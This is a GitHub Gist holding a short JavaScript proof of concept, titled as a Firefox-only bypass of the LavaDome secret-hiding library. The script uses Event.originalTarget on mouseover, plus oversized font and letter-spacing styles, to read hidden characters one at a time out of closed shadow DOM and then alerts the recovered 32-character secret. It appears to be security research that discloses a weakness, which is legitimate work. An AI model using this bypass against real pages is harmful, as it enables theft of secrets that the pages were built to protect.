Skip to content

Instantly share code, notes, and snippets.

@masatokinugawa
Created April 21, 2024 19:39
Show Gist options
  • Save masatokinugawa/eed31e3b03f99d44d2f446a166d327ad to your computer and use it in GitHub Desktop.
Save masatokinugawa/eed31e3b03f99d44d2f446a166d327ad to your computer and use it in GitHub Desktop.
LavaDome bypass via Event.prototype.originalTarget (Firefox only)
let foundChars = "";
PRIVATE.onmouseover = e => {
const originalTarget = e.originalTarget;
const host = originalTarget.parentNode.host;
if (host && Array.from(host.parentElement.children).indexOf(host) === 0) {
foundChars += originalTarget.innerText;
console.log(foundChars);
if (foundChars.length === 32) {
alert(foundChars);
}
host.remove();
}
}
PRIVATE.style.position = "absolute";
PRIVATE.style.top = "0";
PRIVATE.style.left = "0";
PRIVATE.style.padding = "0";
PRIVATE.style.margin = "0";
PRIVATE.style.fontFamily = "Consolas";
PRIVATE.style.letterSpacing = "100vw";
PRIVATE.style.fontSize = "100vw";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment